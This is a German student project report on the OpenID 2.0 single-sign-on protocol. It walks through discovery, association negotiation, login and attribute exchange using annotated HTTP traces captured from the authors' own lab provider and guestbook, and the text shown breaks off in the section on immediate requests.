OpenID 2.0 - Security

Transcrição

Das OpenID 2.0
Framework
Studienarbeit SS 07
Loris Siegenthaler
David Benninger
Betreuer: Prof. Dr. Andreas Steffen
INHALTSVERZEICHNIS
Abstract ........................................................................................................................................................ abs-1
PROJEKTPLAN
Projektteam ................................................................................................................................................. plan-2
Arbeitsaufwand ........................................................................................................................................... plan-2
Arbeitsaufteilung ......................................................................................................................................... plan-2
OPENID 2.0 PROTOKOLL
Einführung ................................................................................................................................................... prot-4
Wie benutzt man OpenID ............................................................................................................................ prot-7
Protokollanalyse ........................................................................................................................................ prot-10
Extensions ................................................................................................................................................. prot-31
Sicherheit .................................................................................................................................................. prot-33
Glossar ....................................................................................................................................................... prot-38
Literaturverzeichnis ................................................................................................................................... prot-39
OPENID 2.0 SERVER
Einführung ..................................................................................................................................................... srv-4
Features ......................................................................................................................................................... srv-4
Voraussetzungen ........................................................................................................................................... srv-4
Installation ..................................................................................................................................................... srv-4
Konfiguration ................................................................................................................................................. srv-6
Design ............................................................................................................................................................ srv-7
Erweiterungen ............................................................................................................................................. srv-13
Anhang ........................................................................................................................................................ srv-16
OPENID 2.0 GÄSTEBUCH
Einführung ...................................................................................................................................................... gb-3
Voraussetzungen ............................................................................................................................................ gb-3
Installation ...................................................................................................................................................... gb-3
Bedienung (Das Gute) .................................................................................................................................... gb-4
Bedienung (Das Böse) .................................................................................................................................... gb-5
PRAKTIKUMSVORBEREITUNGEN
Installation des VMware Servers ............................................................................................................... prakv-2
Laden der VMware Images ....................................................................................................................... prakv-2
Netzwerk Konfiguration ............................................................................................................................ prakv-3
Starten und Testen der Images ................................................................................................................. prakv-4
PRAKTIKUMSVERSUCH
Starten der Instanzen .................................................................................................................................. prak-2
Allgemeine Fragen ....................................................................................................................................... prak-3
Versuche ...................................................................................................................................................... prak-4
Phishing ....................................................................................................................................................... prak-6
Erfahrungsbericht David Benninger ............................................................................................................ erf-db
Erfahrungsbericht Loris Siegenthaler ............................................................................................................ erf-ls
ABSTRACT
OPENID
In dieser Studienarbeit soll das neue OpenID 2.0 Framework genauer untersucht werden. OpenID erlaubt ein
Single-Sign-On auf beliebige OpenID fähige Webseiten (Relying Party) und soll in Zukunft auch von Microsoft
Vista unterstützt werden. Als grosser Vorteil gegenüber anderen Single-Sign-On Lösungen, hat der Benutzer die
volle Kontrolle welche Daten von seinem OpenID Provider an die jeweilige Relying Party weitergegeben
werden.
AUFGABENSTELLUNG
Evaluation einer geeigneten Library die das OpenID 2.0 Protokoll sowohl für den Provider wie auch
den Relying Party Teil implementiert.
Auf der Basis der gewählten OpenID Library soll eine OpenID 2.0 Provider und Relying Party Demo
gebaut werden, die als IntSi2 Praktikumsversuch verwendet werden kann.
Die Funktionsweise von OpenID soll in verständlicher Art und Weise beschrieben werden. Auch
mögliche Attacken (z.B. Man-in-the-Middle) sollen betrachtet werden.
ERGEBNIS
Im Rahmen dieser Studienarbeit wurde das OpenID 2.0 Framework untersucht und dokumentiert.
Um den genauen Protokollablauf zu analysieren, wurde eine VMware basierte Testumgebung, bestehend aus
zwei virtuellen Servern, Relying Party und Provider, aufgesetzt.
Ein einfaches Gästebuch, welches das Anmelden mittels OpenID unterstützt, diente als Relying Party.
Zu Beginn dieser Studienarbeit existierte kein fertiger OpenID Provider, welcher die 2.0 Spezifikation
unterstützte. Deshalb wurde, nach Evaluation einer geeigneten OpenID Library, ein OpenID 2.0 fähiger Server
implementiert.
Um die Installation und Wartung möglichst einfach zu gestalten, wurde der OpenID 2.0 Server sowie das
Gästebuch für die typische, verbreitete LAMP (Linux-Apache-MySQL-PHP) Umgebung erstellt.
Zuletzt wurde, mit Hilfe des Gästebuches und des OpenID 2.0 Servers, ein IntSi2 Praktikumsversuch erstellt.
Dieser behandelt den wesentlichen Protokollfluss sowie das Phishing Problem.
abs-1
Projektplan
Studienarbeit SS 07
Loris Siegenthaler
David Benninger
PROJEKTTEAM
Loris Siegenthaler
Alte Jonastrasse 80, 8640 Rapperswil
[email protected]
David Benninger
Alte Jonastrasse 80, 8640 Rapperswil
[email protected]
ARBEITSAUFWAND
Die Studienarbeit dauert 14 Wochen. Pro Woche werden ca. 28 Stunden investiert. Insgesamt stehen somit
392 Arbeitsstunden zur Verfügung.
ARBEITSAUFTEILUNG
Arbeit / Woche
Einarbeitung / Lesen der
Spezifikationen
Implementation
Gästebuch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Implementation Server
Analyse
Dokumentation
Erstellung Praktikum
plan-2
OpenID 2.0 Protokoll
Studienarbeit SS 07
Dieses Dokument beschreibt die Funktionsweise und den Aufbau
des Single-Sign-On Protokolls OpenID 2.0.
Loris Siegenthaler
David Benninger
INHALTSVERZEICHNIS
Einführung ............................................................................................................................................................... 4
Geschichte ........................................................................................................................................................... 4
Verbreitung ......................................................................................................................................................... 5
Benutzer .......................................................................................................................................................... 5
Relying Party ................................................................................................................................................... 5
Provider ........................................................................................................................................................... 5
Alternativen......................................................................................................................................................... 5
Implementationen .............................................................................................................................................. 6
Libraries ........................................................................................................................................................... 6
Standalone Server ........................................................................................................................................... 6
Wie benutzt man OpenID ....................................................................................................................................... 7
Herkömmliches Login .......................................................................................................................................... 7
Registrieren und Einloggen mit OpenID .............................................................................................................. 8
Protokollanalyse .................................................................................................................................................... 10
Übersicht ........................................................................................................................................................... 10
Protokolle und Ports ......................................................................................................................................... 11
Beispielinteraktion ............................................................................................................................................ 12
Diagramm ...................................................................................................................................................... 12
1. Identify ...................................................................................................................................................... 13
2. / 3. / 4. / 5. Discovery ................................................................................................................................ 14
6. / 7. Association Negotiation ...................................................................................................................... 16
8. Authentication Request ............................................................................................................................ 18
10. / 11. Login................................................................................................................................................ 20
12. / 13. Profile Information.......................................................................................................................... 22
14. Authentication Response ........................................................................................................................ 24
15. Authentication Response ........................................................................................................................ 25
prot-2
Immediate Requests ......................................................................................................................................... 26
Diagramm ...................................................................................................................................................... 26
5. Authentication Response .......................................................................................................................... 27
Dumb Mode (Stateless Mode) .......................................................................................................................... 28
Diagramm ...................................................................................................................................................... 28
5. Authentication Response .......................................................................................................................... 29
6. Check Authentication ................................................................................................................................ 30
Extensions ............................................................................................................................................................. 31
Simple Registration Extension 1.1 ................................................................................................................. 31
Assertion Quality Extension 1.0 .................................................................................................................... 32
OpenID Attribute Exchange 1.0..................................................................................................................... 32
Sicherheit .............................................................................................................................................................. 33
Phishing ............................................................................................................................................................. 33
Beispiel .......................................................................................................................................................... 34
Man in the Middle ............................................................................................................................................. 37
Replay Attacken ................................................................................................................................................ 37
Glossar................................................................................................................................................................... 38
Literaturverzeichnnis ............................................................................................................................................ 39
prot-3
EINFÜHRUNG
OpenID ist ein dezentrales System zur Identifizierung. Die Idee ist, dass Benutzer mit einem Benutzerkonto bei
einem OpenID Provider sich mit diesem auf beliebigen OpenID unterstützenden Webseiten (Relying Party)
anmelden können, ohne dass sie für jede Webseite ein eigenes Benutzerkonto und Passwort benötigen. Dabei
wird das Konzept der URL-basierten Identität umgesetzt.
GESCHICHTE
OpenID wurde ursprünglich von Brad Fitzpatrick erdacht [1], dem Gründer von LiveJournal. 2005 wurde
LiveJournal von SixApart aufgekauft, die OpenID weiterhin unterstützen. Aber auch VeriSign, AOL, Microsoft,
Digg und die Mozilla Foundation sind in der Zwischenzeit mit dabei.
1994
1998
2004
2005
Yahoo initiiert das SSO-Paradigma, rein unternehmensinterne Lösung
MSN Startet sein eigenes SSO, Ankündigung von MSN Passport
Google Startet sein eigenes SSO mit den Gmail und Google Accounts
OpenID Initiiert SSO für unabhängige Seiten
prot-4
VERBREITUNG
BENUTZER
Dank den 63 Millionen AOL Benutzer, welche automatisch eine OpenID erhalten, beträgt die Anzahl
registrierter OpenID Benutzer ungefähr 75 Millionen. [2]
RELYING PARTY
Ca. 2000 Seiten welche den Login mit OpenID ermöglichen
Ca. 25 - 30 neue OpenID-fähige Seiten pro Tag
Viele Open Source Projekte unterstützen OpenID (Joomla, phpBB, Drupal, Plone, MediaWiki)
PROVIDER
Viele, grösstenteils unbekannte, amerikanische OpenID Provider
Myopenid.com, bekanntester und grösster, ISP unabhängiger, Provider
AOL bietet seinen Benutzern automatisch eine OpenID URL
Zwei deutsche Provider (meinguter.name, xlogon.net)
ALTERNATIVEN
Vergleichbare Systeme, die bei höherer Komplexität mehr Funktionen bieten, sind Shibboleth und Liberty, die
beide auf der Security Assertion Markup Language (SAML) aufbauen.
prot-5
IMPLEMENTATIONEN
LIBRARIES
OpenID Libraries sind in allen verbreiteten Programmiersprachen verfügbar.
Die beliebteste und meist aktualisierte Version ist die der in der OpenID Foundation vertretenen Firma JanRain
Inc. Diese Library ist als Python, PHP, Perl, Ruby und C# Version verfügbar. Libraries welche die OpenID
Authentication 2.0 Spezifikation [3] unterstützen wurden erst von JanRain in Python und PHP implementiert
und befinden sich noch im Beta Stadium.
Alle regulären Versionen der Libraries findet man auf der offiziellen OpenID Homepage
http://openid.net/wiki/index.php/Libraries.
Betaversionen stehen unter http://www.openidenabled.com/resources/downloads/ zum Download bereit.
Die folgenden OpenID Libraries unterstützen OpenID Authentication 2.0 und sind sowohl für die Relying Party
als auch als Server zu gebrauchen.
Library
Programmiersprache
Anforderungen
Hersteller
JanRain
PHP, Python
LAMP / Python
JanRain Inc. [4]
OpenID4Java
Java
JDK 1.4, Apache Tomcat, JUnit, Ant
Sxip.com [5]
Joid
Java
JDK 1.4, Apache Tomcat, Hibernate 3,
HSQL DB
Unbekannt
NetMesh InfoGrid
LID
PHP, Java
LAMP / JDK 1.5, Apache Tomcat, MySQL
NetMesh [6]
STANDALONE SERVER
Bis anhin existierten nur Standalone Server, die Libraries benutzen, welche die Version 1.1 des OpenID
Protokolls implementierten. Unser OpenID 2 Provider „OpenID 2.0 Server“ schliesst diese Lücke indem er die
1.1 sowie die 2.0 Spezifikation beherrscht.
prot-6
WIE BENUTZT MAN OPENID
Um die Funktionsweise von OpenID besser verständlich zu machen, stellen wir hier kurz das traditionelle Login
mit Benutzername und Passwort dem OpenID Login gegenüber.
HERKÖMMLICHES LOGIN
Jeder Benutzer hat eine Reihe von Webseiten die er täglich
besucht. Bei jeder einzelnen Seite meldet er sich mit seinem
Benutzernamen und dem dazugehörigen Passwort an – jedes
Mal aus Sicherheitsgründen mit einer anderen
Benutzername-Passwort Kombination.
Umständlich wird es, wenn man einen neuen Account auf
einer Webseite anlegen will. Nach der Eingabe diverser
Benutzerdaten muss meistens auch noch die E-Mail Adresse
verifiziert werden. Das ist nicht nur zeitaufwändig, sondern
man produziert auf diesem Weg auch jede Menge redundante Daten, die nur schwer zu pflegen sind.
OpenID vereinfacht den ganzen Ablauf erheblich.
prot-7
REGISTRIEREN UND EINLOGGEN MIT OPENID
OpenID hat den einfachen Grundgedanken, dass sich ein Benutzer über eine eindeutige URL identifiziert, die
ihm “gehört” und für die er bereits eindeutig identifiziert wurde.
Wie sieht dies praktisch aus? Man registriert - ein einziges Mal - einen Account bei einem OpenID Provider und
speichert dort die Daten die man potenziell an andere Websites weitergeben will, also zum Beispiel Nickname,
Name, Emailadresse, Sprache, Land, usw.
Meldet man sich nun beim Start einer Surf-Session bei seinem OpenID Provider an, so ist man dort
authentifiziert und kann alle Webseiten mit OpenID Unterstützung wesentlich einfacher benutzen. Möchte
man zum Beispiel auf der Seite „Wikitravel.com“ einen Kommentar abgeben oder einen eigenen Eintrag
verfassen, gibt man seine persönliche OpenID URL ein und drückt „Log In“. Die Relying Party schickt nun eine
Anfrage an den OpenID Provider.
prot-8
Der OpenID Provider zeigt dem Benutzer eine Seite an, auf der man die Anfrage einmalig akzeptieren oder
ablehnen kann. Zusätzlich kann detailliert bestimmt werden, welche Daten die Relying Party erhalten soll.
Akzeptiert man die Datenübergabe, schickt der OpenID Provider die Benutzer Daten an die Relying Party. Diese
verarbeitet die Daten und setzt den Benutzerstatus auf “eingeloggt”.
Beim ersten OpenID Login bei einer Relying Party wird meistens automatisch ein neuer Account angelegt, der
komplette Registrierungsprozess entfällt. Es sei jedoch erwähnt, dass es auch Websites gibt, denen die derzeit
vom OpenID Protokoll zur Verfügung gestellten Daten nicht ausreichen. In diesem Fall müssen die fehlenden
Daten dann manuell eingegeben werden.
prot-9
PROTOKOLLANALYSE
ÜBERSICHT
Das folgende Diagramm zeigt den groben Kommunikationsfluss der involvierten Parteien.
1.
Der Benutzer gibt seine OpenID URL in das Login Formular der Relying Party ein.
2.
Die Relying Party extrahiert aus der unter der OpenID URL abgelegten User Identity Page die Adresse
des OpenID Providers.
3.
Ist der Relying Party der OpenID Provider noch nicht bekannt, wird durch direkte Kommunikation ein
gemeinsames Geheimnis ausgehandelt.
4.
Die Relying Party leitet den Benutzer mit einem HTTP Redirect an den OpenID Provider weiter. Die
Relying Party gibt dabei dem Benutzer die für den Provider notwendigen Daten (Relying Party URL,
OpenID URL, usw.) mit.
5.
Der Benutzer authentifiziert sich über ein Client-Zertifikat oder mit Benutzername und Passwort bei
seinem OpenID Provider.
6.
Der Benutzer wird wieder zurück an die Relying Party weitergeleitet. Dabei werden dem Benutzer die
notwendigen Daten (z.B. Name, Geburtsdatum) für die Relying Party mitgegeben.
7.
Die Relying Party verifiziert die vom Benutzer gesendeten Daten und meldet ihn an.
prot-10
PROTOKOLLE UND PORTS
OpenID basiert völlig auf HTTP bzw. HTTPS. Da sämtliche Dienste und Server einheitlich über URLs adressiert
werden, ist es prinzipiell möglich auf andere TCP Ports als 80 und 443 auszuweichen.
OpenID unterscheidet zwischen direkter Kommunikation und indirekter Kommunikation.
Die direkte Kommunikation erfolgt über einen HTTP POST und wird direkt an den Empfänger gesendet. Die
Rückmeldung vom Empfänger erfolgt als „text/plain“ Seite mit Doppelpunkt getrennten Key-Value Paaren.
Die indirekte Kommunikation führt über den User-Agent und wird mit einem normalen HTTP Redirect oder bei
einer Nachrichtenlänge von mehr als 2047 Zeichen mit einem HTML POST Formular realisiert.
Erst das nächste Release der, bei unserem OpenID 2.0 Server verwendeten, JanRain OpenID 2 PHP Library wird
den Redirect mit einem HTTP POST Formular unterstützten, da bis jetzt die maximale Nachrichtenlänge nie
überschritten wird.
prot-11
BEISPIELINTERAKTION
Im Folgenden wird ein typischer Anwendungsfall detailliert aufgezeigt und analysiert. Unser „OpenID 2.0
Server“ welcher das OpenID 2.0 Protokoll unterstützt, dient als Provider. Als Relying Party kommt ein ebenfalls
selbst programmiertes, minimales Gästebuch zum Einsatz. Die User Identity Page liegt auf dem OpenID
Provider und der JavaScript fähige Browser Firefox 2 fungiert als User Agent.
DIAGRAMM
prot-12
1. IDENTIFY
Anstatt eines Benutzernamens verwendet OpenID eine URL als Benutzeridentifikation. Sie ist somit weltweit
eindeutig. Die OpenID URL kann entweder ein XRI Identifier [7] (xri://) oder eine gewöhnliche http:// oder
https:// URL sein.
Diese URL gibt der Benutzer in das dafür vorgesehene Feld bei der Relying Party ein und drückt den Login
Button.
Damit übermittelt er seine OpenID URL der Relying Party welche daraufhin den Login Prozess startet.
In unserem Beispiel wird die OpenID URL: http://openid.virtualpatient.ch/id/beatstream verwendet.
User Agent > Relying Party
Relying-dump1, No 6
POST /openid.php HTTP/1.1
Host: consumer.virtualpatient.ch
Referer: http://consumer.virtualpatient.ch/openid.php
openid_identifier=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
prot-13
2. / 3. / 4. / 5. DISCOVERY
Als Discovery wird der Prozess bezeichnet, mit dem die Relying Party aus der OpenID URL die notwendigen
Informationen des OpenID Providers erhält.
Ist die OpenID URL ein XRI Identifier, wird mittels XRI Resolution ein XML Dokument (XRDS) geholt. Ist die
OpenID URL eine gewöhnliche HTTP oder HTTPS URL, wird versucht mit dem Yadis Service Discovery Protokoll
[8] ein XRDS Dokument zu erhalten. Gelingt dies nicht, wird mittels eines einfachen HTTP Requests die HTML
Seite geladen und die OpenID Provider Informationen aus dem HTML-HEAD Bereich geholt.
2. GET IDPAGE
Die Relying Party kontaktiert nun den OpenID Provider und fordert die User Identity Page des Benutzers an.
Relying Party > User Identity Page
Relying-dump1, No 11
GET /id/beatstream HTTP/1.0
User-Agent: PHP Yadis Library Fetcher
Host: openid.virtualpatient.ch
Accept: application/xrds+xml
3. RETURN IDPAGE
Falls der Benutzer registriert ist, antwortet der Provider und teilt der Relying Party die URL des XRDS
Dokumentes mit.
User Identity Page > Relying Party
X-XRDS-Location: http://openid.virtualpatient.ch/trunk/xrds.php?user=beatstream
<html>
<head>
<link rel="openid2.provider openid.server" href="http://openid.virtualpatient.ch/trunk/server.php"/>
<meta http-equiv="X-XRDS-Location" content="http://openid.virtualpatient.ch/trunk/xrds.php?user=beatstream" />
</head>
<body>
This is the identity page for users of this server.
</body>
</html>
prot-14
4. GET SERVICES
Die Relying Party fordert vom OpenID Provider das XRDS Dokument an.
Relying Party > OpenID Provider
GET /trunk/xrds.php?user=beatstream HTTP/1.0
User-Agent: PHP Yadis Library Fetcher
5. RETURN SERVICES
Das vom Provider gesendete XRDS Dokument beinhaltet nicht nur die Server URL, sondern auch
Protokollversion und unterstützte Extensions.
OpenID Provider > Relying Party
Content-Type: application/xrds+xml
<?xml version="1.0" encoding="UTF-8"?><xrds:XRDS
xmlns:xrds="xri://$xrds"
xmlns="xri://$xrd*($v*2.0)">
<XRD>
<Service priority="0">
<Type>http://specs.openid.net/auth/2.0/signon</Type>
<Type>http://openid.net/signon/1.1</Type>
<Type>http://openid.net/extensions/sreg/1.1</Type>
<Type>http://openid.net/sreg/1.0</Type>
<URI>http://openid.virtualpatient.ch/trunk/server.php</URI>
</Service>
</XRD>
</xrds:XRDS>
Falls das Yadis Discovery fehlschlägt oder das XDRS Dokument fehlerhaft ist kann die Relying Party die
benötigten Informationen mittels eines reinen HTML Discoverys in Erfahrung bringen. Jede beliebige HTML
Seite kann dabei im HEAD Bereich die benötigten Informationen enthalten. Bei HTML Discovery wird
automatisch angenommen, dass es sich um OpenID 2.0 handelt.
Beispiel: HTML Discovery Seite
<head>
…
<link rel="openid2.provider openid.server"
href="http://www.livejournal.com/openid/server.bml"/>
<link rel="openid2.local_id openid.delegate"
href="http://exampleuser.livejournal.com/"/>
…
</head>
prot-15
6. / 7. ASSOCIATION NEGOTIATION
Die Relying Party erstellt mit jedem OpenID Provider eine Association. Eine Association besteht aus einem
Shared Secret, einem Signature Algorithmus (SHA1 oder SHA256) und einer Lebensdauer (typischerweise 14
Tage). Das Shared Secret mit einer Länge von 160-Bit (SHA1) oder 256-Bit (SHA256) wird auf dem OpenID
Provider erstellt und normalerweise mit einem über Diffie Hellman (DH) ausgehandelten Geheimnis
verschlüsselt. Das Aushandeln des Geheimnisses ist somit anfällig auf Man-in-the-Middle Attacken. Die
Association wird in direkter Kommunikation über HTTP ausgehandelt.
Die notwendigen Diffie Hellman Parameter, wie Modulus und Generator, können im Association Request dem
OpenID Provider mitgegeben werden. Die dafür vorgesehenen Felder „dh_modulus” und „dh_gen” werden
aber meist nicht gesendet, sondern die in der OpenID Spezifikation definierten Standardwerte [9] dafür
verwendet. Der Standardmodulus hat eine Länge von 1024 Bits.
Ist die Relying Party nicht in der Lage Statusinformationen zu halten oder grosse Signatur Berechnungen
durchzuführen, kann sie den Dumb Mode benutzen. Im Dumb Mode generiert der OpenID Provider ein privates
Geheimnis um die indirekte Kommunikation über den User-Agent zu signieren. Die Relying Party prüft nun die
Signatur indem sie eine direkte HTTP Anfrage an den OpenID Provider sendet. Da diese Abfrage für Man-in-theMiddle Attacken anfällig ist, sollte der Dumb Mode vermieden werden.
6. ASSOCIATION REQUEST
Die Relying Party fordert den OpenID Provider auf eine Association mit ihr zu einzugehen. Dies teilt sie dem
Provider mittels der Variablen „openid.mode“ mit. Mit „openid.assoc_type ” wird der zu verwendende
Signaturalgorithmus definiert und mit „openid.ns“ wird dem Provider mitgeteilt, ob OpenID 2.0 oder der 1.1
Kompatibilitätsmodus verwendet werden soll.
„session_type“ definiert, ob das Geheimnis mit Diffie Hellman verschlüsselt („DH-SHA1“) oder als Plaintext
(„no-encryption“) übertragen wird. Letzteres sollte nur in Verbindung mit SSL/TLS verwendet werden.
Um den gemeinsamen Diffie Hellman Key für die Verschlüsselung des Geheimnisses zu bilden überträgt die
Relying Party zudem mit „dh_consumer_public“ ihren öffentlichen Teil des DH Algorithmus.
POST /trunk/server.php HTTP/1.0
Content-type: application/x-www-form-urlencoded
openid.assoc_type=HMAC-SHA1
&openid.dh_consumer_public=fr4vTvZeydMDiFvU8qubcZ…JuT3GUk%3D
&openid.mode=associate
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.session_type=DH-SHA1
prot-16
7. ASSOCIATION RESPONSE
Der OpenID Provider antwortet auf den Association Request der Relying Party und teilt dieser seinen
öffentlichen Teil des DH Algorithmus, sowie das bereits mit DH verschlüsselte Geheimnis „enc_mac_key“ mit.
Zusätzlich bestätigt er mit dem wiederholten senden der Flags „assoc_type“, „ns“, und „session_type“ dass er
alle gewünschten Algorithmus Optionen unterstützt.
Das Geheimnis wird auf beiden Seiten zusammen mit einem eindeutigen Handle gespeichert.
assoc_handle:{HMAC-SHA1}{46779290}{hXn/Bg==}
assoc_type:HMAC-SHA1
dh_server_public:SCBouLtsq35zUFkpkzSrX+…mRmeO78Wc7JpLuzkET9KdMxw=
enc_mac_key:znM7cizGwbGCjU9SaE1FK3KJ4uU=
expires_in:1209600
ns:http://specs.openid.net/auth/2.0
session_type:DH-SHA1
Beispiel: Association Datei oder Datenbankeintrag
assoc_type:HMAC-SHA1
handle:{HMAC-SHA1}{4663f329}{olMq+g==}
issued:1180962998
lifetime:1209600
secret:gKDC+uTi6lbztWokqgNHi4Ojjpo=
version:2
prot-17
8. AUTHENTICATION REQUEST
Nun wird der User Agent von der Relying Party zum OpenID Provider weitergeleitet. Diese teilt dem Provider
mit, welche Attribute zur Registrierung benötigt werden („openid.sreg.required“) und welche optional
verarbeitet werden können („openid.sreg.optional“). Zusätzlich wird dem Provider die Identity des zu
überprüfenden Benutzers („openid.identity“) und die URL der Relying Party („openid.return_to“) übergeben.
Damit der OpenID Provider bei der Rückgabe der gewünschten Attribute weiss mit welchem Schlüssel er diese
zu signieren hat, wird auch der eindeutige Association Handle mit übertragen.
Relying Party > User Agent
HTTP/1.1 302 Found
Date: Tue, 19 Jun 2007 10:29:00 GMT
Server: Apache/2.0.55 (Ubuntu) mod_python/3.2.8 Python/2.4.4c1 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://openid.virtualpatient.ch/trunk/server.php?openid.assoc_handle=%7BHMACSHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=checkid_setup
&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.realm=http%3A%2F%2Fconsumer.virtualpatient.ch%2F
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0619T10%253A29%253A18ZLkUsE9
&openid.sreg.optional=email%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry
&openid.sreg.required=nickname
prot-18
Die Anfrage der Relying Party wird vom User Agent automatisch an den OpenID Provider weitergeleitet.
User Agent > OpenID Provider
GET /trunk/server.php?openid.assoc_handle=%7BHMAC-SHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
prot-19
10. / 11. LOGIN
10. LOGIN PAGE
Der Benutzer wird aufgefordert sich beim OpenID Provider zu authentifizieren. Dies kann über eine
Benutzername, Passwort Kombination oder mit einem Client Zertifikat erfolgen. Der gesamte Login Ablauf ist
Provider abhängig und ist deshalb nicht Teil der OpenID 2.0 Spezifikation.
OpenID Provider > User Agent
provider-dump1, No 49
HTTP/1.1 302 Found
Location: ./index.php?module=login
GET /trunk/index.php?module=login HTTP/1.1
Referer: http://consumer.virtualpatient.ch/openid.php
prot-20
<body>
…
<form name="Login" action="index.php?action=login" method="post">
<label>Benutzername:</label><br />
<input type="text" name="usernameField" /><br />
<label>Passwort:</label><br />
<input type="password" name="passwordField" size="16" />
<input type="image" src="templates/default/images/greenLoginButton.png"/>
</form>
…
</body>
11. LOGIN DATA
Der eingegebene Benutzername und das dazugehörige Passwort werden übermittelt.
Provider-dump1, No 64
POST /trunk/index.php?action=login HTTP/1.1
Referer: http://openid.virtualpatient.ch/trunk/index.php?module=login
usernameField=beatstream
&passwordField=123abc
&x=69&y=27
prot-21
12. / 13. PROFILE INFORMATION
12. REQUEST
Der Benutzer kann auswählen, welche Attribute der OpenID Provider der Relying Party übermitteln soll und ob
er dieser Seite zukünftig vertrauen will. Vertraute Seiten können mit einem Immediate Request (siehe Kapitel
Immediate Requests) bereits einmal angeforderte Benutzerdaten erneut abrufen.
<form action="index.php?action=sendData" method="post">
<table width="100%" border="0" cellspacing="2" cellpadding="0"><tr>
<td>Nickname:</td><td width="20"></td>
<td>beatstream</td><td width="20"></td>
<td>erforderlich</td>
<td align="right">
<div align="right">
<input type="checkbox" name="sendData[]" value="nickname" /></div></td></tr><tr>
<td>Name:</td>
<td>Name:</td>
<td width="20"></td>
<td>Loris Siegenthaler</td>
<td width="20"></td>
<td>optional</td>
<td align="right">
<div align="right">
<input type="checkbox" name="sendData[]" value="fullname" /></div></td></tr>
<input name="submit_yes" value="yes” alt=”Absenden" /> <input name="submit_no" value="no" alt="Absenden" />
prot-22
13. RESPONSE
Nachdem der Benutzer die zu übermittelnden Attribute selektiert hat, wird die Auswahl dem Provider
mitgeteilt.
POST /trunk/index.php?action=sendData HTTP/1.1
sendData%5B%5D=nickname
&sendData%5B%5D=fullname
&sendData%5B%5D=email
&sendData%5B%5D=dob
&sendData%5B%5D=gender
&sendData%5B%5D=postcode
&sendData%5B%5D=country
&submit_yes.x=54
&submit_yes.y=10
&submit_yes=yes
prot-23
14. AUTHENTICATION RESPONSE
Die Benutzerinformationen („openid.ext0….“) werden vom OpenID Provider via User Agent der Relying Party
gesendet. Über diese wird mit dem gemeinsamen Geheimnis eine Signatur (“openid.sig„) berechnet. Damit ist
es nicht möglich die Benutzerinformationen auf dem Weg vom OpenID Provider zur Relying Party zu
verfälschen ohne dass dies bemerkt wird.
Date: Tue, 19 Jun 2007 08:24:27 GMT
Server: Apache/2.0.55 (Ubuntu) DAV/2 SVN/1.3.2 PHP/5.1.6
Pragma: no-cache
location: http://consumer.virtualpatient.ch/login.php?janrain_nonce=2007-06-19T10%3A29%3A18ZLkUsE9
&openid.assoc_handle=%7BHMAC-SHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.ext0.country=CH
&openid.ext0.dob=1982-05-25
&openid.ext0.email=spamtest%40virtualpatient.ch
&openid.ext0.fullname=Loris+Siegenthaler
&openid.ext0.gender=M
&openid.ext0.nickname=beatstream
&openid.ext0.postcode=8640
&openid.mode=id_res&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.ext0=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.op_endpoint=http%3A%2F%2Fopenid.virtualpatient.ch%2Ftrunk%2Fserver.php
&openid.response_nonce=2007-06-19T08%3A24%3A27ZngNmaQ
&openid.sig=VQbqhWRKQVBKVqWfriSfx7v703s%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cext0.country%2Cext0.dob%2Cext0.email
%2Cext0.fullname%2Cext0.gender%2Cext0.nickname%2Cext0.postcode
prot-24
Der Browser des User Agents wird zur Relying Party weitergeleitet und übergibt dieser die erhaltenen Daten.
GET /login.php?janrain_nonce=2007-06-19T10%3A29%3A18ZLkUsE9
&openid.signed=assoc_handle%2Cclaimed_id%2Cext0.country%2Cext0.dob%2Cext0.email%2Cext0.fullname%2C
ext0.gender%2Cext0.nickname%2Cext0.postcode%2Cidentity%2Cmode%2Cns%2Cns.ext0%2Cop_endpoint%2C
response_nonce%2Creturn_to%2Csigned
Die Relying Party bildet ebenfalls eine Signatur über die erhaltenen Daten und vergleicht diese mit der vom
User Agent erhaltenen Signatur („openid.sig“).
Sind die Signaturen identisch, ist sichergestellt dass die Benutzerinformationen zwischen Provider und Relying
Party nicht verändert wurden und der Benutzer wird mit diesen Informationen angemeldet bzw. registriert.
prot-25
IMMEDIATE REQUESTS
Die Relying Party kann eine Authentifizierungsanfrage an den OpenID Provider senden und ihm gleichzeitig
verbieten, mit dem User-Agent zu interagieren. Diese Authentication Requests werden Immediate Requests
genannt. Der OpenID Provider muss dann unmittelbar zurückmelden, ob die Authentifizierung erfolgreich ist,
oder ob eine Interaktion mit dem Benutzer erforderlich ist um die Anfrage zu bearbeiten.
Es wird nur eine positive Rückmeldung zurückgegeben, wenn der Benutzer sich beim OpenID Provider
authentifiziert hat und die Relying Party eine vertraute Seite des Benutzers ist.
Uns ist keine Relying Party bekannt, die mit Immediate Requests arbeitet. In Zukunft könnte es dem Benutzer
aber die Bestätigungsarbeit beim OpenID Provider abnehmen.
DIAGRAMM
Die Schritte 1, 2 (Discovery) und 3 (Association Negotiation) unterscheiden sich nicht vom normalen Modus.
Auf eine erneute Auflistung der Traces wird deshalb verzichtet.
prot-26
Mit „checkid_immediate“ wird dem OpenID Provider mitgeteilt, dass er keine Interaktion mit dem Benutzer
durchführen darf.
Relying Pary > User Agent
HTTP/1.1 302 Found
Date: Thu, 21 Jun 2007 15:19:41 GMT
Pragma: no-cache
Location: http://openid.virtualpatient.ch/trunk/server.php
